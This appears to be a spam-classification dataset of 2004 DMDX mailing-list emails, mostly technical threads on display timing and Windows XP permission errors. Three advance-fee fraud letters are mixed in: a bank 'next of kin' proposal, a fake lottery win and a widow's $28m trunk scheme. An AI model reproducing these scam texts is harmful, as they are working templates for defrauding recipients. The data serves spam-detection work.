entire family in 31 October,1999 in a plane crash. Since we got this information about his death, we have been expecting his next of Kin to come over and claim his money because we can not release it unless somebody applies for it as next of Kin or relation to the deceased as indicated in our banking and financial policies but unfortunately we learnt that his supposed next of kin or relation died along side with him in the crash leaving no body behind to claim the money. It is therefore upon this discovery that I and decided as the head of this department to make this business proposal to you and release the money to you as the next of kin or relation to the deceased for safety and subsequent disbursement since nobody is coming for it and we don't want this money to go into the Bank treasury as unclaimed bills.Do not view this as been illegal but to help people like us that have no hope in life instead of the bank converting this much money to the security funds of the bank because if you dont assist us the bank will lay hold on this money. Therefore to enable the immediate transfer of this fund to you as arranged,you must apply first to the Bank as relation or next of kin of the deceased indicating your private, telephone and fax number for easy and effective communication and location where the money will be remitted. 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We want to make sure that we have the COTs nailed before we take it to the scanner but after many test trials and much discussion we still do not have an answer for why COT inconsistencies exist between items when a response is made and when a response is not made. The problem is the following --the COTs for items when responses are made and COTs for items when responses are not made are not identical. Basically, when a response is made the following item is displayed more quickly than for items that follow items where responses are not made. Therefore the COTs for all items that follow an item that has timed out are later than the COTs for items that follow items that are responded to. This experiment is not designed to be self paced and we assumed that the COTs would not change, as a function of whether or not a response was made, due to specifications made within the script and header line such as, fd,d,t and /. Since we have not been able to figure it out we thought we would look to the list serve for some advice. Below you will find the header line as well as the first few items of a script. Immediately following are the COTs for items responded to and not responded to. Thanks~ Siobhan Hoscheidt & Scott Hayes 0?READY""; 100 c; +101 * %1 / /?READY?/; +8011 * ""f_dollpot""/; +8011 * ""f_hut""/; +8011 * ""f_jar""/; +9021 *""28O_O?/; +1002 *""f_andy_lfp""/; +1039 *""f_cylinder?/; -9001* ""1X_O"" /; +3005*""am_gt_gp?/; COT, no responses made COT, responses made RT COT RT COT -3000 4403.84 1102.59 4403.84 -3000 8804.09 1846.34 8605.13 -3000 13207.93 1733.03 12810.01 -3000 23222.38 1385.44 22612.16 ----- End forwarded message -----",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Aug 2004 14:29:58 -0700","[DMDX] Re: COTs inconsistencies, response vs. no response","Read the timing notes: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm Your display must be the thing that sets an item's duration, not waiting for a response. At 12:02 PM 8/5/2004 -0700, you wrote: > We are currently experiencing timing issues with our Dmdx scripts for > a soon >to be fMRI, encoding-retrieval study (done with pictures). We want to make >sure >that we have the COTs nailed before we take it to the scanner but after many >test trials and much discussion we still do not have an answer for why COT >inconsistencies exist between items when a response is made and when a >response >is not made. > The problem is the following --the COTs for items when responses are > made and >COTs for items when responses are not made are not identical. Basically, >when a >response is made the following item is displayed more quickly than for items >that follow items where responses are not made. Therefore the COTs for all >items that follow an item that has timed out are later than the COTs for items >that follow items that are responded to. This experiment is not designed to be >self paced and we assumed that the COTs would not change, as a function of >whether or not a response was made, due to specifications made within the >script and header line such as, fd,d,t and /. Since we have not been able to >figure it out we thought we would look to the list serve for some advice. >Below >you will find the header line as well as the first few items of a script. >Immediately following are the COTs for items responded to and not >responded to. >Thanks~ >Siobhan Hoscheidt & Scott Hayes > > 112> 800,600,600,16,0>keyboard> +space> > >0?READY""; >100 c; >+101 * %1 / /?READY?/; >+8011 * ""f_dollpot""/; >+8011 * ""f_hut""/; >+8011 * ""f_jar""/; >+9021 *""28O_O?/; >+1002 *""f_andy_lfp""/; >+1039 *""f_cylinder?/; >-9001* ""1X_O"" /; >+3005*""am_gt_gp?/; > >COT, no responses made COT, responses made > RT COT RT COT >-3000 4403.84 1102.59 4403.84 >-3000 8804.09 1846.34 8605.13 >-3000 13207.93 1733.03 12810.01 >-3000 23222.38 1385.44 22612.16 > > > >----- End forwarded message ----- > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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We want to >>make sure >>that we have the COTs nailed before we take it to the scanner but after many >>test trials and much discussion we still do not have an answer for why COT >>inconsistencies exist between items when a response is made and when a >>response >>is not made. >> The problem is the following --the COTs for items when responses are >> made and >>COTs for items when responses are not made are not identical. Basically, >>when a >>response is made the following item is displayed more quickly than for items >>that follow items where responses are not made. Therefore the COTs for all >>items that follow an item that has timed out are later than the COTs for >>items >>that follow items that are responded to. This experiment is not designed >>to be >>self paced and we assumed that the COTs would not change, as a function of >>whether or not a response was made, due to specifications made within the >>script and header line such as, fd,d,t and /. Since we have not been able to >>figure it out we thought we would look to the list serve for some advice. >>Below >>you will find the header line as well as the first few items of a script. >>Immediately following are the COTs for items responded to and not >>responded to. >>Thanks~ >>Siobhan Hoscheidt & Scott Hayes >> >> >112> >800,600,600,16,0>>keyboard> >+space> >> >>0?READY""; >>100 c; >>+101 * %1 / /?READY?/; >>+8011 * ""f_dollpot""/; >>+8011 * ""f_hut""/; >>+8011 * ""f_jar""/; >>+9021 *""28O_O?/; >>+1002 *""f_andy_lfp""/; >>+1039 *""f_cylinder?/; >>-9001* ""1X_O"" /; >>+3005*""am_gt_gp?/; >> >>COT, no responses made COT, responses made >> RT COT RT COT >>-3000 4403.84 1102.59 4403.84 >>-3000 8804.09 1846.34 8605.13 >>-3000 13207.93 1733.03 12810.01 >>-3000 23222.38 1385.44 22612.16 >> >> >> >>----- End forwarded message ----- >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Compromise: >The fine art of making sure that nobody gets what they really >want. > - Anonymous > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,1 viviansmith ,,"Sun, 08 Aug 2004 15:48:39 +0300",FILE YOUR CLAIM!!!,"INORBIT  LOTTERY PROMOTION  BV HOVANSTRAAT28-35, 2525 RH ,ROTTERDAM-NETHERLANDS WINNING NOTIFICATION REF NO; ILPB642857302 To the e-mail bearer, Sequel to the annual lottery draw of the above named establishment in europe,conducted on the 10th of May,2006. I am glad to notify you that your e-mail address attached to ticket No ;183752202CH won in the second category a lump-sum of US$1,000,000.00 (One Million United States Dollars Only). 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Innes-Ker"" ",dmdx@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 11:00:24 -0500",[DMDX] Problems using DMDX under different XP logins/desktops,"I'm running DMDX on a Windows XP box, and have had no problems as long as I'm using my desktop login. Now I want DMDX to run under other logins, and have had a lot of problems getting it up and running. I think I finally solved the TimeDX problems I had, but now that I try to open DMDX under the new login I get an ""Cannot open diagnostics file"" error box, and then, when I try to run a script the following: ""Could not dreate/open registry key/ Error Code 5. Help, please. -- Ase Innes-Ker, Ph.D. Department of Psychology University of Notre Dame Notre Dame, IN 46637",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 10:48:09 -0700",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"At 11:00 AM 8/9/2004 -0500, you wrote: >I'm running DMDX on a Windows XP box, and have had no problems as long as I'm >using my desktop login. > >Now I want DMDX to run under other logins, and have had a lot of problems >getting it up and running. I think I finally solved the TimeDX problems I >had, >but now that I try to open DMDX under the new login I get an ""Cannot open >diagnostics file"" error box, and then, when I try to run a script the >following: ""Could not dreate/open registry key/ > Error Code 5. > >Help, please. Please try the latest version of DMDX, I just added a bunch of code in the last couple of weeks to address exactly the issues you are seeing. You'll still see diagnostic file message but the rest of DMDX should be capable of running. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Compromise: The fine art of making sure that nobody gets what they really want. - Anonymous",0,0 """Ase H. Innes-Ker"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 14:05:36 -0500",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"Thanks, I did that, still get the error messages at the beginning for the other signins (mine has none), but it works. A Citerar ""Jonathan C. Forster"" : > At 11:00 AM 8/9/2004 -0500, you wrote: > >I'm running DMDX on a Windows XP box, and have had no problems as long as > I'm > >using my desktop login. > > > >Now I want DMDX to run under other logins, and have had a lot of problems > >getting it up and running. I think I finally solved the TimeDX problems I > >had, > >but now that I try to open DMDX under the new login I get an ""Cannot open > >diagnostics file"" error box, and then, when I try to run a script the > >following: ""Could not dreate/open registry key/ > > Error Code 5. > > > >Help, please. > > Please try the latest version of DMDX, I just added a bunch of code in > the last couple of weeks to address exactly the issues you are > seeing. You'll still see diagnostic file message but the rest of DMDX > should be capable of running. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Compromise: > The fine art of making sure that nobody gets what they really > want. > - Anonymous > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- Ase Innes-Ker, Ph.D. Department of Psychology University of Notre Dame Notre Dame, IN 46637",0,1 Nicole C McDonald ,DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 12:25:35 -0700",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"I think I've had that error message before, and it was because my login name didn't have permission to modify any registry keys. Once the administrator changed my permissions so that my login name was allowed to modify TimeDX and DMDX registry keys, the error message went away. Maybe you could try that? -Nicole Ase H. Innes-Ker wrote: >Thanks, > >I did that, still get the error messages at the beginning for the other signins >(mine has none), but it works. > >A > >Citerar ""Jonathan C. Forster"" : > > > >>At 11:00 AM 8/9/2004 -0500, you wrote: >> >> >>>I'm running DMDX on a Windows XP box, and have had no problems as long as >>> >>> >>I'm >> >> >>>using my desktop login. >>> >>>Now I want DMDX to run under other logins, and have had a lot of problems >>>getting it up and running. I think I finally solved the TimeDX problems I >>>had, >>>but now that I try to open DMDX under the new login I get an ""Cannot open >>>diagnostics file"" error box, and then, when I try to run a script the >>>following: ""Could not dreate/open registry key/ >>> Error Code 5. >>> >>>Help, please. >>> >>> >> Please try the latest version of DMDX, I just added a bunch of code in >>the last couple of weeks to address exactly the issues you are >>seeing. You'll still see diagnostic file message but the rest of DMDX >>should be capable of running. >> >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >> Compromise: >>The fine art of making sure that nobody gets what they really >>want. >> - Anonymous >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== >> >> >> > > > >",0,1 """Ase H. Innes-Ker"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 14:50:06 -0500",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"Oh, cool. That's the likely reason here. Well, I'll figure how to get around this. A Citerar Nicole C McDonald : > I think I've had that error message before, and it was because my login > name didn't have permission to modify any registry keys. Once the > administrator changed my permissions so that my login name was allowed > to modify TimeDX and DMDX registry keys, the error message went away. > Maybe you could try that? > -Nicole > > Ase H. Innes-Ker wrote: > > >Thanks, > > > >I did that, still get the error messages at the beginning for the other > signins > >(mine has none), but it works. > > > >A > > > >Citerar ""Jonathan C. Forster"" : > > > > > > > >>At 11:00 AM 8/9/2004 -0500, you wrote: > >> > >> > >>>I'm running DMDX on a Windows XP box, and have had no problems as long as > >>> > >>> > >>I'm > >> > >> > >>>using my desktop login. > >>> > >>>Now I want DMDX to run under other logins, and have had a lot of problems > >>>getting it up and running. I think I finally solved the TimeDX problems I > > >>>had, > >>>but now that I try to open DMDX under the new login I get an ""Cannot open > >>>diagnostics file"" error box, and then, when I try to run a script the > >>>following: ""Could not dreate/open registry key/ > >>> Error Code 5. > >>> > >>>Help, please. > >>> > >>> > >> Please try the latest version of DMDX, I just added a bunch of code in > >>the last couple of weeks to address exactly the issues you are > >>seeing. You'll still see diagnostic file message but the rest of DMDX > >>should be capable of running. > >> > >> > >> /""\\ > >> -jonathan (j.c.f.) \\ / > >> X > >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >> > >> Compromise: > >>The fine art of making sure that nobody gets what they really > >>want. > >> - Anonymous > >> > >> > >>==================================================================== > >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word > >> 'unsubscribe' by itself with no quotes in the body of the email > >> to be removed from the list. The list archive is available here: > >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >>==================================================================== > >> > >> > >> > > > > > > > > > -- Ase Innes-Ker, Ph.D. Department of Psychology University of Notre Dame Notre Dame, IN 46637",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 13:47:21 -0700",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"At 12:25 PM 8/9/2004 -0700, you wrote: >I think I've had that error message before, and it was because my login >name didn't have permission to modify any registry keys. Once the >administrator changed my permissions so that my login name was allowed to >modify TimeDX and DMDX registry keys, the error message went away. Maybe >you could try that? The permission here is being able to write to the directory \\Program Files\\DMDX and isn't a registry thing. The current versions of DMDX shouldn't require any more registry permission modifications. I didn't attempt to resolve the diagnostics file message as finding a writeable location isn't as easy as trying the alternative registry keys. I guess I can try and create diagnostics.txt in My Documents if the default creation fails but even figuring out where My Documents is requires digging into windows functions I only dimly recall existing... And of course when I go hunting for them I find my development system doesn't even have any of the required files, grrr. Otherwise we might've seen something to fix it this afternoon. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Compromise: The fine art of making sure that nobody gets what they really want. - Anonymous ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 13:59:05 -0700",[DMDX] Re: Problems using DMDX under different XP logins/desktops,"At 02:50 PM 8/9/2004 -0500, you wrote: >Oh, cool. That's the likely reason here. Well, I'll figure how to get around >this. While doing so will certainly rectify things the reason is probably that new TimeDX keys need to get created that the less privileged users can manipulate. This will either entail running TimeDX again as each of these less privigidges users and changing settings indicated that are indicated in the error messages or by removing DMDX and TimeDX completely and starting over. Settings will need to be created for each user of DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Compromise: The fine art of making sure that nobody gets what they really want. - Anonymous ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 14:32:03 -0700",[DMDX] DMDX 3.0.4.3," Ok, so I cheated. If DMDX 3.0.4.3 cannot create diagnostics.txt in it's normal location (usually Program Files\\DMDX) it creates in the system temporary directory (which can be any one of a dozen locations like C:\\Documents and Settings\\UserName\\Local Settings\\Temp). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Compromise: The fine art of making sure that nobody gets what they really want. - Anonymous ",0,0 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Mon, 09 Aug 2004 20:52:03 -0400","[DMDX] Re: COTs inconsistencies, response vs. no response","I've referred to Jonathon's and Matt's documentation regarding the timing of constant ISI's. Thanks for the info, we have definitely improved the timing of our script. It appears I've got the timing down so that the ISI's are within approximately 3 tics--regardless of whether or not one responds. The timing becomes more consistent when I use words (instead of jpegs). If anyone has any suggestion for improving the timing w/ the jpegs (COTs should occur every 4500 msec), I'd appreciate it. Below is my parameter line and some item lines: +1 * ""f_dollpot""/ <% 35> /; +2 * ""f_hut""/ <% 35> /; +3 * ""f_jar""/ <% 35> /; +4 *""f_andy_lfp""/ <% 35> /; +5 *""f_cylinder?/ <% 35> /; OUTPUT W/PICS: Item RT COT ISI 1 521.63 0 2 -444.18 4503.86 4503.86 3 260.2 9021.03 4517.17 4 -617.05 13524.89 4503.86 5 488.78 18042.07 4517.18 OUTPUT w/ WORDS: Item RT COT ISI 1 1259.74 0 2 816.53 4490.53 4490.53 3 590.34 8981.06 4490.53 4 -635.76 13484.91 4503.85 5 526.51 17975.45 4490.54 THanks, Scott Quoting Matt Davis : > You may also find this FAQ useful, in particular, the answer to question > ""How do I specify exact timing of stimuli in DMDX?"": > > http://www.mrc-cbu.cam.ac.uk/~matt.davis/fmri_dmdx.html#6 > > hope this helps, > > Matt > > > At 14:29 05/08/2004 -0700, you wrote: > > > Read the timing notes: > > > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm > > > > Your display must be the thing that sets an item's duration, not > > waiting for a response. > > > >At 12:02 PM 8/5/2004 -0700, you wrote: > >> We are currently experiencing timing issues with our Dmdx scripts > >> for a soon > >>to be fMRI, encoding-retrieval study (done with pictures). We want to > >>make sure > >>that we have the COTs nailed before we take it to the scanner but after > many > >>test trials and much discussion we still do not have an answer for why COT > >>inconsistencies exist between items when a response is made and when a > >>response > >>is not made. > >> The problem is the following --the COTs for items when responses are > >> made and > >>COTs for items when responses are not made are not identical. Basically, > >>when a > >>response is made the following item is displayed more quickly than for > items > >>that follow items where responses are not made. Therefore the COTs for all > >>items that follow an item that has timed out are later than the COTs for > >>items > >>that follow items that are responded to. This experiment is not designed > >>to be > >>self paced and we assumed that the COTs would not change, as a function of > >>whether or not a response was made, due to specifications made within the > >>script and header line such as, fd,d,t and /. Since we have not been able > to > >>figure it out we thought we would look to the list serve for some advice. > >>Below > >>you will find the header line as well as the first few items of a script. > >>Immediately following are the COTs for items responded to and not > >>responded to. > >>Thanks~ > >>Siobhan Hoscheidt & Scott Hayes > >> > >> mouse> >>112> >>800,600,600,16,0> >>keyboard> >>+space> > >> > >>0?READY""; > >>100 c; > >>+101 * %1 / /?READY?/; > >>+8011 * ""f_dollpot""/; > >>+8011 * ""f_hut""/; > >>+8011 * ""f_jar""/; > >>+9021 *""28O_O?/; > >>+1002 *""f_andy_lfp""/; > >>+1039 *""f_cylinder?/; > >>-9001* ""1X_O"" /; > >>+3005*""am_gt_gp?/; > >> > >>COT, no responses made COT, responses made > >> RT COT RT COT > >>-3000 4403.84 1102.59 4403.84 > >>-3000 8804.09 1846.34 8605.13 > >>-3000 13207.93 1733.03 12810.01 > >>-3000 23222.38 1385.44 22612.16 > >> > >> > >> > >>----- End forwarded message ----- > >> > >>==================================================================== > >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word > >> 'unsubscribe' by itself with no quotes in the body of the email > >> to be removed from the list. The list archive is available here: > >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >>==================================================================== > > > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Compromise: > >The fine art of making sure that nobody gets what they really > >want. > > - Anonymous > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. 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Andy Woods Department of Psychology Áras an Phiarsaigh Trinity College Dublin 2, Ireland Tel: + 353 (0) 1 608 1521 Fax: + 353 (0) 1 671 2006 http://www.tcd.ie/psychology/multisensory/ ",0,1 Maria Nella Carminati ,DMDX@psy1.psych.arizona.edu,"Tue, 10 Aug 2004 12:59:41 +0200",[DMDX] DMDX for picture word interference paradigms,"Hello, does anyone have any sample scripts for DMDX used for a picture word interference paradigm? Could I have a look, it would save me a lot of time (I am new to this application of DMDX). Many thanks Maria Nella Carminati Dept. of Psychology University of Milan Bicocca",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 10 Aug 2004 08:47:32 -0700","[DMDX] RE: Re: COTs inconsistencies, response vs. no response","At 11:15 AM 8/10/2004 +0100, you wrote: >You could try preloading the JPG's at the start of the expt by using the >medialife keyword. I sent a message to the board a while back about an MRI >expt which used this function: > >http://psy1.psych.arizona.edu/cgi-bin/DMDX/2001-2002/thread?message=950106 > >Might help? Andy. You mention: One thing that might be useful in a future version of DMDX would be a more 'official' way of loading pictures without displaying them on screen... how about a keyword? See the keyword. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As far as we know, we have no undetected failures.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 10 Aug 2004 09:02:40 -0700","[DMDX] Re: COTs inconsistencies, response vs. no response","At 08:52 PM 8/9/2004 -0400, you wrote: >OUTPUT W/PICS: >Item RT COT ISI >1 521.63 0 >2 -444.18 4503.86 4503.86 >3 260.2 9021.03 4517.17 >4 -617.05 13524.89 4503.86 >5 488.78 18042.07 4517.18 > >OUTPUT w/ WORDS: >Item RT COT ISI >1 1259.74 0 >2 816.53 4490.53 4490.53 >3 590.34 8981.06 4490.53 >4 -635.76 13484.91 4503.85 >5 526.51 17975.45 4490.54 That looks like +/- 1 tick to me, unless you've got exceptionally robust hardware this might be as good as you're going to get. I can't see what you're refresh rate is from previous posts, it looks like you're aiming for 75Hz, perhaps TimeDX's parameters are a little off for that video mode. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ As far as we know, we have no undetected failures. ",0,0 charlesonuniwu1@tiscali.fi,charlesonuniwu1@tiscali.fi,"Wed, 11 Aug 2004 19:47:06 +0300",ESPACE CABINET MEDICAL,"FROM:ESPACE CABINET MEDICAL email charlesonuniwu@yahoo.com Dear My name is Dr.Charles Onuniwu, a medical doctor and the sole proprietor of the above specialist hospital. I understand that through internet is not the best way to link up with you because of the confidentiality which the transaction demands. However, I have already sent you this same letter by post one month ago, but I am not sure if it did get to you since I have not heard from you, hence my resending it again. I have a widow here in my hospital who is on a political assylum in a refugee camp. She has been so ill for some couple of months now. This woman confided in me based on the free medical attention I have been giving to her and her children. She had revealed to me of her life history and about her late husband who was a top military officer in one of the west African country (Sierra-Leone) before his death during the civil war and the fortune she inherited from her late husband. She has asked me to source a credible and trustworthy partner abroad who will manage her funds for investment, the sum of Twenty Eight Million US Dollars (US$28m) which her late husband deposited in a safe fiduciary agent in Europe I wish to chose you for this venture and I believe you will be in the position to assist in managing this large sum in a profitable ventures and also to help create a safe haven for her and her children by making a residence arrangement for them in your country. After she had disclosed this information to me, I saw the reason to request from her all the documents relating to this deposit of which she did, now I have the documents covering the deposit which I will not hesitate to fax to you the copies as a proof for your confirmation as soon as I receive your response via e-mail. I am obliged to assist this lady knowing too well that she has a limited knowledge in the business world and as such she cannot manage this funds herself, and in order to avoid any trace of her by the government, I will need from you a mutual understanding and then we shall make plans on how the funds would be secured into an account in your name; after which you will arrange and travel immediately to meet with the security company's Agency in Europe for clearing. This amount is contained in a sealed trunk box and it is registered and declared as containing family treasures, so even as I am writing you now the security company and its agency are not aware that there is cash money in the trunk. Let me assure you that this transaction is 100% hitch and risk free; from my discussion with her, she has agreed to give you a reasonable amount of percentage for your involvement in this deal, and this has to be discussed upon the receipt of your quick response. Thanks and God bless you for your understanding, Best regards, Dr.Charles Onuniwu ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Aug 2004 12:44:53 -0700",[DMDX] DMDX 3.0.4.4," In our latest attempt to deal with the vile pool of evilness that is the Keithley driver software DMDX 3.0.4.4 shifts the focus back to the menu window after it kills the Keithley crap off as the Keithley crap would appear to be shifting the focus for no good reason other than to be evil. Assuming of course that what I'm able to get here is replicating the same problem that PCMCIA Keithley card users are having where after a syntax check a nice big white screen would be displayed. You could ALT-TAB to the right DMDX window but almost no one but me would know it of course. So now DMDX does it for you. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""I have made mistakes but I have never made the mistake of claiming that I have never made one."" - James Gordon Bennett ",0,0 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Aug 2004 15:56:14 -0700","[DMDX] Re: COTs inconsistencies, response vs. no response","Hi Jonathon, I've added a level of complexity to my previous script because I need to vary the duration of the presentation of pictures and also the duration of the delay. My timing for the trials is consistent (that's nice), but the timing is not what I expected. The refresh rate is 13.33 ms (video mode 800X600, 16 bit, 0 Hz). I would like the ISI for each trial to be around 4500 msec (338 tics). As you can see from the results below, the ISI is closer to 4200 ms, which is about 315 tics. Below is my parameter line and a few item lines. I think I've specified 339 tics for each item line (fd=225, d=77, 35 for the 2nd frame, and 1 tic for each of the 2 frame delimiters--these specs differ for item 9001, but should still add up to 339 tics), which should be slightly more than 4500 msec based on the refresh rate. So either I'm really not specifying 339 tics or my refresh rate isn't really 13.33 msec. As always, any suggestions would be appreciated. Thanks, Scott +1002 *""f_andy_lfp""/ <% 35>/; +1039 *""f_cylinder""/ <% 35>/; -9001 * ""1X_O""/ <% 148> /; +3005 *""am_gt_gp""/ <% 35>/; Item RT COT ISI # tics 1002 -2950 0 4204.88 315.4449 1039 -2950 4204.88 4204.54 315.4194 9001 -1490 8409.42 4204.88 315.4449 3005 -2950 12614.3 4201.29 315.1755 j.c.f. wrote: > At 08:52 PM 8/9/2004 -0400, you wrote: > >> OUTPUT W/PICS: >> Item RT COT ISI >> 1 521.63 0 >> 2 -444.18 4503.86 4503.86 >> 3 260.2 9021.03 4517.17 >> 4 -617.05 13524.89 4503.86 >> 5 488.78 18042.07 4517.18 >> >> OUTPUT w/ WORDS: >> Item RT COT ISI >> 1 1259.74 0 >> 2 816.53 4490.53 4490.53 >> 3 590.34 8981.06 4490.53 >> 4 -635.76 13484.91 4503.85 >> 5 526.51 17975.45 4490.54 > > > That looks like +/- 1 tick to me, unless you've got exceptionally > robust hardware this might be as good as you're going to get. I can't > see what you're refresh rate is from previous posts, it looks like > you're aiming for 75Hz, perhaps TimeDX's parameters are a little off > for that video mode. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > As far as we know, we have no undetected failures. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Aug 2004 16:27:53 -0700","[DMDX] Re: COTs inconsistencies, response vs. no response","At 03:56 PM 8/12/2004 -0700, you wrote: >Hi Jonathon, >I've added a level of complexity to my previous script because I need to >vary the duration of the presentation of pictures and also the duration of >the delay. My timing for the trials is consistent (that's nice), but the >timing is not what I expected. The refresh rate is 13.33 ms (video mode >800X600, 16 bit, 0 Hz). I would like the ISI for each trial to be around >4500 msec (338 tics). As you can see from the results below, the ISI is >closer to 4200 ms, which is about 315 tics. Below is my parameter line >and a few item lines. I think I've specified 339 tics for each item line >(fd=225, d=77, 35 for the 2nd frame, and 1 tic for each of the 2 frame >delimiters Frame delimiters don't take a tick, the blank frame between the last frame delimiter and the semicolon /; takes tick. So it's only one extra tick and 338 would be my reading of your item's duration. >--these specs differ for item 9001, but should still add up to 339 tics), >which should be slightly more than 4500 msec based on the refresh >rate. So either I'm really not specifying 339 tics or my refresh rate >isn't really 13.33 msec. As always, any suggestions would be appreciated. >Thanks, >Scott > > mouse>2950> > >+1002 *""f_andy_lfp""/ <% 35>/; >+1039 *""f_cylinder""/ <% 35>/; >-9001 * ""1X_O""/ <% 148> /; >+3005 *""am_gt_gp""/ <% 35>/; > >Item RT COT ISI # tics >1002 -2950 0 4204.88 315.4449 >1039 -2950 4204.88 4204.54 315.4194 >9001 -1490 8409.42 4204.88 315.4449 >3005 -2950 12614.3 4201.29 315.1755 Looks to me like your refresh rate isn't really 75Hz, it's more like 80Hz. It's possible when you change video cards or monitors for TimeDX settings to stay set at some frequency that's no longer being used, you need to time your video mode again. If you're using XP you might give some thought to using video modes like 800,600,16,75 instead of 800,600,16,0. While not foolproof I've only seen a specific retrace rate be incorrect once. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""I have made mistakes but I have never made the mistake of claiming that I have never made one."" - James Gordon Bennett",0,0 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Aug 2004 15:47:57 -0400","[DMDX] Re: COTs inconsistencies, response vs. no response","Thanks Jonathon! Setting the video mode to 75 Hz worked... Quoting ""Jonathan C. Forster"" : > At 03:56 PM 8/12/2004 -0700, you wrote: > >Hi Jonathon, > >I've added a level of complexity to my previous script because I need to > >vary the duration of the presentation of pictures and also the duration of > >the delay. My timing for the trials is consistent (that's nice), but the > >timing is not what I expected. The refresh rate is 13.33 ms (video mode > >800X600, 16 bit, 0 Hz). I would like the ISI for each trial to be around > >4500 msec (338 tics). As you can see from the results below, the ISI is > >closer to 4200 ms, which is about 315 tics. Below is my parameter line > >and a few item lines. I think I've specified 339 tics for each item line > >(fd=225, d=77, 35 for the 2nd frame, and 1 tic for each of the 2 frame > >delimiters > > Frame delimiters don't take a tick, the blank frame between the last > frame delimiter and the semicolon /; takes tick. So it's only one extra > tick and 338 would be my reading of your item's duration. > > >--these specs differ for item 9001, but should still add up to 339 tics), > >which should be slightly more than 4500 msec based on the refresh > >rate. So either I'm really not specifying 339 tics or my refresh rate > >isn't really 13.33 msec. As always, any suggestions would be appreciated. > >Thanks, > >Scott > > > > 